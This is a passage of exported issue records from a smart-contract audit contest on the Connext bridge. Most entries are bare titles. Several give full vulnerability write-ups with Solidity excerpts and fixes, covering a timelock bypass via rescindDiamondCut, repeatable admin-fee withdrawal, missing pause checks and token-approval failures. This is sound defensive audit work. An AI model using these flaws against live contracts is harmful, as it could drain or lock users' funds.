"target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/232", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/231", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/230", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/229", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/226", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "attacker can perform griefing for process() in PromiseRouter by reverting calls to callback() in callbackAddress", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/225", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-06-connext-findings", "body": "attacker can perform griefing for process() in PromiseRouter by reverting calls to callback() in callbackAddress"}, {"title": "Current implementation of arbitrary call execute failure handler may break some use case for example NFT bridge.", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/223", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-06-connext-findings", "body": "Current implementation of arbitrary call execute failure handler may break some use case for example NFT bridge."}, {"title": "In execute() the amount routers pay is what user signed, but in _reconcile() the amount routers get is what nomad sends and this two amount are not necessary equal because of slippage in original domain", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/222", "labels": ["bug", "3 (High Risk)"], "target": "2022-06-connext-findings", "body": "In execute() the amount routers pay is what user signed, but in _reconcile() the amount routers get is what nomad sends and this two amount are not necessary equal because of slippage in original domain"}, {"title": "Relayer Will Not Receive Any Fee If `execute` Reverts", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/220", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-06-connext-findings", "body": "Relayer Will Not Receive Any Fee If `execute` Reverts"}, {"title": "`LibDiamond.diamondCut()` should check `diamondStorage().acceptanceTimes[keccak256(abi.encode(_diamondCut))] != 0`", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/215", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-06-connext-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-connext/blob/main/contracts/contracts/core/connext/libraries/LibDiamond.sol#L100-L103 https://github.com/code-423n4/2022-06-connext/blob/main/contracts/contracts/core/connext/libraries/LibDiamond.sol#L71-L79 https://github.com/code-423n4/2022-06-connext/blob/main/contracts/contracts/core/connext/libraries/LibDiamond.sol#L83-L90 # Vulnerability details ## Impact Normally, `diamondStorage().acceptanceTimes[keccak256(abi.encode(_diamondCut))]` will be set in `LibDiamond.proposeDiamondCut()`. Then in `LibDiamond.diamondCut()`, it checks that `diamondStorage().acceptanceTimes[keccak256(abi.encode(_diamondCut))] < block.timestamp`. However, `LibDiamond.rescindDiamondCut()` will set `diamondStorage().acceptanceTimes[keccak256(abi.encode(_diamondCut))]` to 0. Which can easily pass the check in `diamondCut()`. But `rescindDiamondCut` should rescind `_diamondCut`. In conclusion, using `rescindDiamondCut()` can easily bypass the delay time. Moreover, if `proposeDiamondCut()` has never been called, the check for delay time is always passed. ## Proof of Concept `diamondStorage().acceptanceTimes[keccak256(abi.encode(_diamondCut))]` will be set in `LibDiamond.proposeDiamondCut()` https://github.com/code-423n4/2022-06-connext/blob/main/contracts/contracts/core/connext/libraries/LibDiamond.sol#L71-L79 ``` function proposeDiamondCut( IDiamondCut.FacetCut[] memory _diamondCut, address _init, bytes memory _calldata ) internal { uint256 acceptance = block.timestamp + _delay; diamondStorage().acceptanceTimes[keccak256(abi.encode(_diamondCut))] = acceptance; emit DiamondCutProposed(_diamondCut, _init, _calldata, acceptance); } ``` Then in `LibDiamond.diamondCut()`, it checks that `diamondStorage().acceptanceTimes[keccak256(abi.encode(_diamondCut))] < block.timestamp` https://github.com/code-423n4/2022-06-connext/blob/main/contracts/contracts/core/connext/libraries/LibDiamond.sol#L100-L103 ``` function diamondCut( IDiamondCut.FacetCut[] memory _diamondCut, address _init, bytes memory _calldata ) internal { require( diamondStorage().acceptanceTimes[keccak256(abi.encode(_diamondCut))] < block.timestamp, \"LibDiamond: delay not elapsed\" ); \u2026 } ``` However, `LibDiamond.rescindDiamondCut()` will set `diamondStorage().acceptanceTimes[keccak256(abi.encode(_diamondCut))]` to 0. Which can easily pass the check in `diamondCut()` https://github.com/code-423n4/2022-06-connext/blob/main/contracts/contracts/core/connext/libraries/LibDiamond.sol#L83-L90 ``` function rescindDiamondCut( IDiamondCut.FacetCut[] memory _diamondCut, address _init, bytes memory _calldata ) internal { diamondStorage().acceptanceTimes[keccak256(abi.encode(_diamondCut))] = 0; emit DiamondCutRescinded(_diamondCut, _init, _calldata); } ``` ``` diamondStorage().acceptanceTimes[keccak256(abi.encode(_diamondCut))] = 0 < block.timestamp ``` ## Tools Used None ## Recommended Mitigation Steps Add another check in `diamondCut` ``` function diamondCut( IDiamondCut.FacetCut[] memory _diamondCut, address _init, bytes memory _calldata ) internal { require( diamondStorage().acceptanceTimes[keccak256(abi.encode(_diamondCut))] < block.timestamp && diamondStorage().acceptanceTimes[keccak256(abi.encode(_diamondCut))] != 0, \"LibDiamond: delay not elapsed\" ); \u2026 } ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/214", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "division rounding error in _handleExecuteLiquidity() and _reconcile() make routerBalances and contract fund balance to get out of sync and cause fund lose", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/213", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-06-connext-findings", "body": "division rounding error in _handleExecuteLiquidity() and _reconcile() make routerBalances and contract fund balance to get out of sync and cause fund lose"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/212", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/210", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/209", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/208", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "Tokens with `decimals` larger than `18` are not supported", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/204", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-06-connext-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-connext/blob/b4532655071566b33c41eac46e75be29b4a381ed/contracts/contracts/core/connext/helpers/ConnextPriceOracle.sol#L99-L115 # Vulnerability details For tokens with decimals larger than 18, many functions across the codebase will revert due to underflow. https://github.com/code-423n4/2022-06-connext/blob/b4532655071566b33c41eac46e75be29b4a381ed/contracts/contracts/core/connext/helpers/ConnextPriceOracle.sol#L99-L115 ```solidity function getPriceFromDex(address _tokenAddress) public view returns (uint256) { PriceInfo storage priceInfo = priceRecords[_tokenAddress]; if (priceInfo.active) { uint256 rawTokenAmount = IERC20Extended(priceInfo.token).balanceOf(priceInfo.lpToken); uint256 tokenDecimalDelta = 18 - uint256(IERC20Extended(priceInfo.token).decimals()); uint256 tokenAmount = rawTokenAmount.mul(10**tokenDecimalDelta); uint256 rawBaseTokenAmount = IERC20Extended(priceInfo.baseToken).balanceOf(priceInfo.lpToken); uint256 baseTokenDecimalDelta = 18 - uint256(IERC20Extended(priceInfo.baseToken).decimals()); uint256 baseTokenAmount = rawBaseTokenAmount.mul(10**baseTokenDecimalDelta); uint256 baseTokenPrice = getTokenPrice(priceInfo.baseToken); uint256 tokenPrice = baseTokenPrice.mul(baseTokenAmount).div(tokenAmount); return tokenPrice; } else { return 0; } } ``` https://github.com/code-423n4/2022-06-connext/blob/b4532655071566b33c41eac46e75be29b4a381ed/contracts/contracts/core/connext/facets/StableSwapFacet.sol#L426 ```solidity precisionMultipliers[i] = 10**uint256(SwapUtils.POOL_PRECISION_DECIMALS - decimals[i]); ``` Chainlink feeds' with decimals > 18 are not supported neither: https://github.com/code-423n4/2022-06-connext/blob/b4532655071566b33c41eac46e75be29b4a381ed/contracts/contracts/core/connext/helpers/ConnextPriceOracle.sol#L122-L140 ```solidity function getPriceFromChainlink(address _tokenAddress) public view returns (uint256) { AggregatorV3Interface aggregator = aggregators[_tokenAddress]; if (address(aggregator) != address(0)) { (, int256 answer, , , ) = aggregator.latestRoundData(); // It's fine for price to be 0. We have two price feeds. if (answer == 0) { return 0; } // Extend the decimals to 1e18. uint256 retVal = uint256(answer); uint256 price = retVal.mul(10**(18 - uint256(aggregator.decimals()))); return price; } return 0; } ``` ### Recommendation Consider checking if decimals > 18 and normalize the value by div the decimals difference. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/203", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "Wrong implementation of `withdrawAdminFees()` can cause the `adminFees` to be charged multiple times and therefore cause users' fund loss", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/202", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-06-connext-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-connext/blob/b4532655071566b33c41eac46e75be29b4a381ed/contracts/contracts/core/connext/libraries/SwapUtils.sol#L1053-L1062 # Vulnerability details ```solidity function withdrawAdminFees(Swap storage self, address to) internal { IERC20[] memory pooledTokens = self.pooledTokens; for (uint256 i = 0; i < pooledTokens.length; i++) { IERC20 token = pooledTokens[i]; uint256 balance = self.adminFees[i]; if (balance != 0) { token.safeTransfer(to, balance); } } } ``` `self.adminFees[i]` should be reset to 0 every time it's withdrawn. Otherwise, the `adminFees` can be withdrawn multiple times. The admin may just be unaware of this issue and casualty `withdrawAdminFees()` from time to time, and rug all the users slowly. ### Recommendation Change to: ```solidity function withdrawAdminFees(Swap storage self, address to) internal { IERC20[] memory pooledTokens = self.pooledTokens; for (uint256 i = 0; i < pooledTokens.length; i++) { IERC20 token = pooledTokens[i]; uint256 balance = self.adminFees[i]; if (balance != 0) { self.adminFees[i] = 0; token.safeTransfer(to, balance); } } } ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/201", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/200", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/198", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/197", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "_handleExecuteTransaction may not working correctly on fee-on-transfer tokens. Moreover, if it is failed, fund may be locked forever.", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/196", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor acknowledged"], "target": "2022-06-connext-findings", "body": "_handleExecuteTransaction may not working correctly on fee-on-transfer tokens. Moreover, if it is failed, fund may be locked forever."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/195", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/194", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/193", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/192", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/190", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/188", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/186", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/185", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/184", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/183", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "BridgeFacet's _executePortalTransfer ignores underlying token amount withdrawn from Aave pool", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/181", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-06-connext-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-connext/blob/b4532655071566b33c41eac46e75be29b4a381ed/contracts/contracts/core/connext/facets/BridgeFacet.sol#L882-L900 # Vulnerability details _executePortalTransfer can introduce underlying token deficit by accounting for full underlying amount received from Aave unconditionally on what was actually withdrawn from Aave pool. Actual amount withdrawn is returned by `IAavePool(s.aavePool).withdraw()`, but currently is not used. Setting the severity to medium as this can end up with a situation of partial insolvency, when where are a surplus of atokens, but deficit of underlying tokens in the bridge, so bridge functionality can become unavailable as there will be not enough underlying tokens, which were used up in the previous operations when atokens wasn't converted to underlying fully and underlying tokens from other operations were used up instead without accounting. I.e. the system in this situation supposes that all atokens are in the form of underlying tokens while there will be some atokens left unconverted due to withdrawal being only partial. ## Proof of Concept Call sequence here is execute() -> _handleExecuteLiquidity() -> _executePortalTransfer(). BridgeFacet._executePortalTransfer() mints the atokens needed, then withdraws them from Aave pool, always accounting for the full withdrawal: https://github.com/code-423n4/2022-06-connext/blob/b4532655071566b33c41eac46e75be29b4a381ed/contracts/contracts/core/connext/facets/BridgeFacet.sol#L882-L900 ```solidity /** * @notice Uses Aave Portals to provide fast liquidity */ function _executePortalTransfer( bytes32 _transferId, uint256 _fastTransferAmount, address _local, address _router ) internal returns (uint256, address) { // Calculate local to adopted swap output if needed (uint256 userAmount, address adopted) = AssetLogic.calculateSwapFromLocalAssetIfNeeded(_local, _fastTransferAmount); IAavePool(s.aavePool).mintUnbacked(adopted, userAmount, address(this), AAVE_REFERRAL_CODE); // Improvement: Instead of withdrawing to address(this), withdraw directly to the user or executor to save 1 transfer IAavePool(s.aavePool).withdraw(adopted, userAmount, address(this)); // Store principle debt s.portalDebt[_transferId] = userAmount; ``` Aave pool's withdraw() returns the amount of underlying asset that was actually withdrawn: https://github.com/aave/aave-v3-core/blob/master/contracts/protocol/pool/Pool.sol#L196-L217 https://github.com/aave/aave-v3-core/blob/master/contracts/protocol/libraries/logic/SupplyLogic.sol#L93-L111 If a particular lending pool has liquidity shortage at the moment, say all underlying is lent out, full withdrawal of the requested underlying token amount will not be possible. ## Recommended Mitigation Steps Consider adjusting for the amount actually withdrawn. Also the buffer that stores minted but not yet used atoken amount, say aAmountStored, can be introduced. For example: ``` + uint256 amountNeeded = userAmount < aAmountStored ? 0 : userAmount - aAmountStored; - IAavePool(s.aavePool).mintUnbacked(adopted, userAmount, address(this), AAVE_REFERRAL_CODE); + if (amountNeeded > 0) { + IAavePool(s.aavePool).mintUnbacked(adopted, amountNeeded, address(this), AAVE_REFERRAL_CODE); + } // Improvement: Instead of withdrawing to address(this), withdraw directly to the user or executor to save 1 transfer - IAavePool(s.aavePool).withdraw(adopted, userAmount, address(this)); + uint256 amountWithdrawn = IAavePool(s.aavePool).withdraw(adopted, userAmount, address(this)); // Store principle debt - s.portalDebt[_transferId] = userAmount; + s.portalDebt[_transferId] = amountWithdrawn; // can't exceed userAmount + aAmountStored = (userAmount < aAmountStored ? aAmountStored : userAmount) - amountWithdrawn; // we used amountWithdrawn ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/180", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/179", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/178", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/177", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/176", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "Missing whenNotPaused modifier", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/175", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-06-connext-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-connext/blob/b4532655071566b33c41eac46e75be29b4a381ed/contracts/contracts/core/connext/facets/StableSwapFacet.sol#L279-L286 # Vulnerability details ## Impact In `StableSwapFacet.sol`, two swapping functions contain the `whenNotPaused` modifier while `swapExactOut()` and `addSwapLiquidity()` do not. All functions to swap and add liquidity should contain the same modifiers to stop transactions while paused. ## Proof of Concept ***Example with modifier*** ``` function swapExact( bytes32 canonicalId, uint256 amountIn, address assetIn, address assetOut, uint256 minAmountOut, uint256 deadline ) external payable nonReentrant deadlineCheck(deadline) whenNotPaused returns (uint256) { ``` ***Examples without modifier*** ``` function swapExactOut( bytes32 canonicalId, uint256 amountOut, address assetIn, address assetOut, uint256 maxAmountIn, uint256 deadline ) external payable nonReentrant deadlineCheck(deadline) returns (uint256) { ``` and ``` function addSwapLiquidity( bytes32 canonicalId, uint256[] calldata amounts, uint256 minToMint, uint256 deadline ) external nonReentrant deadlineCheck(deadline) returns (uint256) { return s.swapStorages[canonicalId].addLiquidity(amounts, minToMint); } ``` ## Tools Used Manual review. ## Recommended Mitigation Steps Add the `whenNotPaused` modifier to all functions that perform swaps or liquidity additions. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/173", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/169", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/168", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/167", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/166", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/164", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/163", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/161", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/156", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/155", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "Did Not Approve To Zero First Causing Certain Token Transfer To Fail", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/154", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-06-connext-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-connext/blob/4dd6149748b635f95460d4c3924c7e3fb6716967/contracts/contracts/core/connext/facets/BridgeFacet.sol#L984 https://github.com/code-423n4/2022-06-connext/blob/4dd6149748b635f95460d4c3924c7e3fb6716967/contracts/contracts/core/connext/libraries/AssetLogic.sol#L347 # Vulnerability details ## Proof-of-Concept Some tokens (like USDT) do not work when changing the allowance from an existing non-zero allowance value. For example Tether (USDT)'s `approve()` function will revert if the current approval is not zero, to protect against front-running changes of approvals. #### Instance 1 - `BridgeFacet._reconcileProcessPortal` The following function must be approved by zero first, and then the ` SafeERC20.safeIncreaseAllowance` function can be called. Otherwise, the `_reconcileProcessPortal` function will revert everytime it handles such kind of tokens. Understood from the [comment](https://github.com/code-423n4/2022-06-connext/blob/4dd6149748b635f95460d4c3924c7e3fb6716967/contracts/contracts/core/connext/facets/BridgeFacet.sol#L1025) that after the backUnbacked call there could be a remaining allowance. [https://github.com/code-423n4/2022-06-connext/blob/4dd6149748b635f95460d4c3924c7e3fb6716967/contracts/contracts/core/connext/facets/BridgeFacet.sol#L984](https://github.com/code-423n4/2022-06-connext/blob/4dd6149748b635f95460d4c3924c7e3fb6716967/contracts/contracts/core/connext/facets/BridgeFacet.sol#L984) ```solidity function _reconcileProcessPortal( uint256 _amount, address _local, address _router, bytes32 _transferId ) private returns (uint256) { ..SNIP.. SafeERC20.safeIncreaseAllowance(IERC20(adopted), s.aavePool, totalRepayAmount); (bool success, ) = s.aavePool.call( abi.encodeWithSelector(IAavePool.backUnbacked.selector, adopted, backUnbackedAmount, portalFee) ); ..SNIP.. } ``` #### Instance 2 - `BridgeFacet_swapAssetOut` The following fucntion must first be approved by zero, follow by the actual allowance to be approved. Otherwise, the `_swapAssetOut` function will revert everytime it handles such kind of tokens. [https://github.com/code-423n4/2022-06-connext/blob/4dd6149748b635f95460d4c3924c7e3fb6716967/contracts/contracts/core/connext/libraries/AssetLogic.sol#L347](https://github.com/code-423n4/2022-06-connext/blob/4dd6149748b635f95460d4c3924c7e3fb6716967/contracts/contracts/core/connext/libraries/AssetLogic.sol#L347) ```solidity function _swapAssetOut( bytes32 _canonicalId, address _assetIn, address _assetOut, uint256 _amountOut, uint256 _maxIn ) internal returns ( bool, uint256, address ) { AppStorage storage s = LibConnextStorage.connextStorage(); bool success; uint256 amountIn; // Swap the asset to the proper local asset if (stableSwapPoolExist(_canonicalId)) { // get internal swap pool SwapUtils.Swap storage ipool = s.swapStorages[_canonicalId]; // if internal swap pool exists uint8 tokenIndexIn = getTokenIndexFromStableSwapPool(_canonicalId, _assetIn); uint8 tokenIndexOut = getTokenIndexFromStableSwapPool(_canonicalId, _assetOut); // calculate slippage before performing swap // NOTE: this is less efficient then relying on the `swapInternalOut` revert, but makes it easier // to handle slippage failures (this can be called during reconcile, so must not fail) if (_maxIn >= ipool.calculateSwapInv(tokenIndexIn, tokenIndexOut, _amountOut)) { success = true; amountIn = ipool.swapInternalOut(tokenIndexIn, tokenIndexOut, _amountOut, _maxIn); } // slippage is too high to perform swap: success = false, amountIn = 0 } else { // Otherwise, swap via stable swap pool IStableSwap pool = s.adoptedToLocalPools[_canonicalId]; uint256 _amountIn = pool.calculateSwapOutFromAddress(_assetIn, _assetOut, _amountOut); if (_amountIn <= _maxIn) { // set the success success = true; // perform the swap SafeERC20.safeApprove(IERC20(_assetIn), address(pool), _amountIn); amountIn = pool.swapExactOut(_amountOut, _assetIn, _assetOut, _maxIn); } // slippage is too high to perform swap: success = false, amountIn = 0 } return (success, amountIn, _assetOut); } ``` ## Impact Both the`_reconcileProcessPortal` and `_swapAssetOut` functions are called during repayment to Aave Portal if the fast-transfer was executed using portal liquidity. Thus, it is core part of the token transfer process within Connext, and failure of any of these functions would disrupt the AAVE repayment process. Since both functions affect the AAVE repayment process, I'm grouping them as one issue. ## Recommended Mitigation Steps As Connext bridges/routers deal with all sort of tokens existed in various domains/chains, the protocol should try to implement measure to ensure that it is compatible with as much tokens as possible for future growth and availability of the protocol. #### Instance 1 - `BridgeFacet._reconcileProcessPortal` It is recommended to set the allowance to zero before increasing the allowance ```solidity SafeERC20.safeApprove(IERC20(_assetIn), address(pool), 0); SafeERC20.safeIncreaseAllowance(IERC20(adopted), s.aavePool, totalRepayAmount); ``` #### Instance 2 - `BridgeFacet_swapAssetOut` It is recommended to set the allowance to zero before each approve call. ```solidity SafeERC20.safeApprove(IERC20(_assetIn), address(pool), 0); SafeERC20.safeApprove(IERC20(_assetIn), address(pool), _amountIn); ``` "}, {"title": "Router Owner Could Be Rugged By Admin", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/150", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-06-connext-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-connext/blob/4dd6149748b635f95460d4c3924c7e3fb6716967/contracts/contracts/core/connext/facets/RoutersFacet.sol#L293 https://github.com/code-423n4/2022-06-connext/blob/4dd6149748b635f95460d4c3924c7e3fb6716967/contracts/contracts/core/connext/facets/RoutersFacet.sol#L490 https://github.com/code-423n4/2022-06-connext/blob/4dd6149748b635f95460d4c3924c7e3fb6716967/contracts/contracts/core/connext/facets/RoutersFacet.sol#L212 # Vulnerability details ## Proof-of-Concept Assume that Alice's router has large amount of liquidity inside. Assume that the Connext Admin decided to remove a router owned by Alice. The Connext Admin will call the `RoutersFacet.removeRouter` function, and all information related to Alice's router will be erased (set to 0x0) from the `s.routerPermissionInfo`. [https://github.com/code-423n4/2022-06-connext/blob/4dd6149748b635f95460d4c3924c7e3fb6716967/contracts/contracts/core/connext/facets/RoutersFacet.sol#L293](https://github.com/code-423n4/2022-06-connext/blob/4dd6149748b635f95460d4c3924c7e3fb6716967/contracts/contracts/core/connext/facets/RoutersFacet.sol#L293) ```solidity function removeRouter(address router) external onlyOwner { // Sanity check: not empty if (router == address(0)) revert RoutersFacet__removeRouter_routerEmpty(); // Sanity check: needs removal if (!s.routerPermissionInfo.approvedRouters[router]) revert RoutersFacet__removeRouter_notAdded(); // Update mapping s.routerPermissionInfo.approvedRouters[router] = false; // Emit event emit RouterRemoved(router, msg.sender); // Remove router owner address _owner = s.routerPermissionInfo.routerOwners[router]; if (_owner != address(0)) { emit RouterOwnerAccepted(router, _owner, address(0)); // delete routerOwners[router]; s.routerPermissionInfo.routerOwners[router] = address(0); } // Remove router recipient address _recipient = s.routerPermissionInfo.routerRecipients[router]; if (_recipient != address(0)) { emit RouterRecipientSet(router, _recipient, address(0)); // delete routerRecipients[router]; s.routerPermissionInfo.routerRecipients[router] = address(0); } // Clear any proposed ownership changes s.routerPermissionInfo.proposedRouterOwners[router] = address(0); s.routerPermissionInfo.proposedRouterTimestamp[router] = 0; } ``` Alice is aware that her router has been removed by Connext Admin, so she decided to withdraw the liquidity from her previous router by calling `RoutersFacet.removeRouterLiquidityFor`. However, when Alice called the `RoutersFacet.removeRouterLiquidityFor` function, it will revert every single time. This is because the condition `msg.sender != getRouterOwner(_router)` will always fail. [https://github.com/code-423n4/2022-06-connext/blob/4dd6149748b635f95460d4c3924c7e3fb6716967/contracts/contracts/core/connext/facets/RoutersFacet.sol#L490](https://github.com/code-423n4/2022-06-connext/blob/4dd6149748b635f95460d4c3924c7e3fb6716967/contracts/contracts/core/connext/facets/RoutersFacet.sol#L490) ```solidity /** * @notice This is used by any router owner to decrease their available liquidity for a given asset. * @param _amount - The amount of liquidity to remove for the router * @param _local - The address of the asset you're removing liquidity from. If removing liquidity of the * native asset, routers may use `address(0)` or the wrapped asset * @param _to The address that will receive the liquidity being removed * @param _router The address of the router */ function removeRouterLiquidityFor( uint256 _amount, address _local, address payable _to, address _router ) external nonReentrant whenNotPaused { // Caller must be the router owner if (msg.sender != getRouterOwner(_router)) revert 